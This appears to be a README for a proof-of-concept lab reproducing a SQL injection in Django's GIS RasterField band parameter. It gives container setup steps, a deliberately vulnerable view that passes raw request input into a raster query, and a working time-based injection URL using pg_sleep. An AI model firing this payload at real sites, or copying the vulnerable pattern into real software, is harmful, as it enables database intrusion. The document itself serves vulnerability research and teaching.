
Django-фреймворк при использовании PostGIS для запросов к георастровым (raster) данным: если непроверенный пользовательский ввод напрямую передаётся в качестве параметра band index (индекс波段), это приводит к SQL-инъекции.
Тип уязвимости: SQL-инъекция (SQL Injection)
Затронутый компонент: django.contrib.gis RasterField
При использовании RasterField Django GIS для выполнения запросов параметр band напрямую подставляется в SQL-выражение, что приводит к SQL-инъекции. Злоумышленник может внедрить произвольный SQL-код, сконструировав вредоносное значение параметра band.
CVE-2026-1207/
├── .devcontainer/ # Конфигурация VSCode DevContainer
├── .vscode/ # Конфигурация VSCode
├── vuln/ # Приложение для демонстрации уязвимости
│ ├── models.py # Модель, содержащая RasterField
│ ├── views.py # Точка срабатывания уязвимости
│ └── migrations/ # Файлы миграций базы данных
├── web/ # Конфигурация проекта Django
├── manage.py
├── README.md
Данный проект уязвимости собирается с помощью devcontainer в VSCode.
Откройте корневой каталог существующего проекта (содержащий папку .devcontainer) в VS Code.
Нажмите Ctrl+Shift+P (Windows/Linux) или Cmd+Shift+P (Mac)
Введите Remote-Containers: Reopen in Container
VS Code прочитает конфигурацию .devcontainer и соберёт контейнер (первая сборка может занять несколько минут)
⚠️ Если Dockerfile или зависимости обновлялись, выберите Remote-Containers: Rebuild Container, чтобы гарантированно использовать актуальное окружение.
Откройте палитру команд Ctrl+Shift+P
Введите Tasks: Run Task
Выберите django:start (задача уже настроена в .vscode/tasks.json)
Эта задача запустит сервер разработки Django внутри контейнера
По умолчанию прослушивается адрес 0.0.0.0:8087
Откройте в браузере:
http://localhost:8087
При первом запуске может потребоваться выполнить миграции базы данных:
python manage.py migrate
Подробный анализ уязвимости опубликован в 先知 https://xz.aliyun.com/news/91993
Аккаунт в WeChat https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A
Перейдите по следующему URL, чтобы вызвать SQL-инъекцию:
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
Обратите внимание на время ответа: обычный запрос должен вернуться немедленно, а запрос с инъекцией задержится примерно на 3 секунды.
def get(self, request: HttpRequest):
band = request.GET.get("band", 1) # ← нефильтрованный пользовательский ввод
rast = GDALRaster(...)
qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band напрямую передаётся в запрос
print(qs.query) # ← просмотр сгенерированного SQL
qs.count()
return HttpResponse("book app")
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))
Данный проект предназначен исключительно для исследований в области безопасности и образовательных целей. Не используйте его на системах без соответствующего разрешения.